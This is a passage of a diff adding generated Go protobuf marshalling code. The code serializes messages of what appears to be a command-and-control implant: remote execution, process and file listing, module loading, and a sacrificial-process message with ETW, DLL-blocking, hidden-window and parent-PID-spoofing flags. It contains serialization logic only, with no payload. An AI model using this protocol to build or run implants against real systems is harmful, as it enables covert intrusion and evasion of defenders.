copy(dAtA[i:], m.ClrVersion[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClrVersion[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.Locale) > 0 { + i -= len(m.Locale) + copy(dAtA[i:], m.Locale) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Locale))) + i-- + dAtA[i] = 0x3a + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x2a + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x22 + } + if len(m.Release) > 0 { + i -= len(m.Release) + copy(dAtA[i:], m.Release) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Release))) + i-- + dAtA[i] = 0x1a + } + if len(m.Version) > 0 { + i -= len(m.Version) + copy(dAtA[i:], m.Version) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Version))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Process) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Process) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Process) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x42 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x3a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x32 + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x2a + } + if len(m.Owner) > 0 { + i -= len(m.Owner) + copy(dAtA[i:], m.Owner) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Owner))) + i-- + dAtA[i] = 0x22 + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x18 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Timer) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Timer) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Timer) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Jitter != 0 { + i -= 8 + binary.LittleEndian.PutUint64(dAtA[i:], uint64(math.Float64bits(float64(m.Jitter)))) + i-- + dAtA[i] = 0x11 + } + if len(m.Expression) > 0 { + i -= len(m.Expression) + copy(dAtA[i:], m.Expression) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Expression))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *FileInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FileInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *FileInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Link) > 0 { + i -= len(m.Link) + copy(dAtA[i:], m.Link) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Link))) + i-- + dAtA[i] = 0x32 + } + if m.Mode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Mode)) + i-- + dAtA[i] = 0x28 + } + if m.ModTime != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ModTime)) + i-- + dAtA[i] = 0x20 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x18 + } + if m.IsDir { + i-- + if m.IsDir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SacrificeProcess) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SacrificeProcess) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *SacrificeProcess) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Argue) > 0 { + i -= len(m.Argue) + copy(dAtA[i:], m.Argue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Argue))) + i-- + dAtA[i] = 0x2a + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x20 + } + if m.Etw { + i-- + if m.Etw { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *LsResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LsResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *LsResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Files) > 0 { + for iNdEx := len(m.Files) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Files[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } + } + if m.Exists { + i-- + if m.Exists { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DriveInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DriveInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *DriveInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.FileSystem) > 0 { + i -= len(m.FileSystem) + copy(dAtA[i:], m.FileSystem) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.FileSystem))) + i-- + dAtA[i] = 0x2a + } + if m.FreeSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.FreeSize)) + i-- + dAtA[i] = 0x20 + } + if m.TotalSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TotalSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.DriveType) > 0 { + i -= len(m.DriveType) + copy(dAtA[i:], m.DriveType) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DriveType))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *EnumDriversResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *EnumDriversResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *EnumDriversResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Drives) > 0 { + for iNdEx := len(m.Drives) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Drives[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *PsResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PsResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PsResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Processes) > 0 { + for iNdEx := len(m.Processes) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Processes[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ExecRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x50 + } + if m.Realtime { + i-- + if m.Realtime { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Singleton { + i-- + if m.Singleton { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x20 + } + if len(m.Stderr) > 0 { + i -= len(m.Stderr) + copy(dAtA[i:], m.Stderr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stderr))) + i-- + dAtA[i] = 0x1a + } + if len(m.Stdout) > 0 { + i -= len(m.Stdout) + copy(dAtA[i:], m.Stdout) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stdout))) + i-- + dAtA[i] = 0x12 + } + if m.StatusCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StatusCode)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *BinaryResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BinaryResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *BinaryResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Err) > 0 { + i -= len(m.Err) + copy(dAtA[i:], m.Err) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Err))) + i-- + dAtA[i] = 0x22 + } + if m.Status != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Status)) + i-- + dAtA[i] = 0x18 + } + if len(m.Message) > 0 { + i -= len(m.Message) + copy(dAtA[i:], m.Message) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Message))) + i-- + dAtA[i] = 0x12 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Modules) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Modules) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Modules) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Modules) > 0 { + for iNdEx := len(m.Modules) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Modules[iNdEx]) + copy(dAtA[i:], m.Modules[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Modules[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addons) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addons) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Addons) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addon) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addon) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Addon) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadModule) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadModule) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *LoadModule) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Bundle) > 0 { + i -= len(m.Bundle) + copy(dAtA[i:], m.Bundle) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bundle))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadAddon) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadAddon) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *LoadAddon) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x22 + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteAddon) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteAddon) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecuteAddon) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.ExecuteBinary != nil { + size, err := m.ExecuteBinary.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Addon) > 0 { + i -= len(m.Addon) + copy(dAtA[i:], m.Addon) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Addon))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteBinary) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteBinary) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecuteBinary) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Delay != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Delay)) + i-- + dAtA[i] = 0x78 + } + if len(m.Context) > 0 { + i -= len(m.Context) + copy(dAtA[i:], m.Context) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Context))) + i-- + dAtA[i] = 0x72 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x6a + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x58 + } + if m.Arch != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Arch)) + i-- + dAtA[i] = 0x50 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x48 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x42 + } + if len(m.EntryPoint) > 0 { + i -= len(m.EntryPoint) + copy(dAtA[i:], m.EntryPoint) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.EntryPoint))) + i-- + dAtA[i] = 0x3a + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if len(m.ProcessName) > 0 { + i -= len(m.ProcessName) + copy(dAtA[i:], m.ProcessName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ProcessName))) + i-- + dAtA[i] = 0x2a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x22 + } + if len(m.Param) > 0 { + for k := range m.Param { + v := m.Param[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - 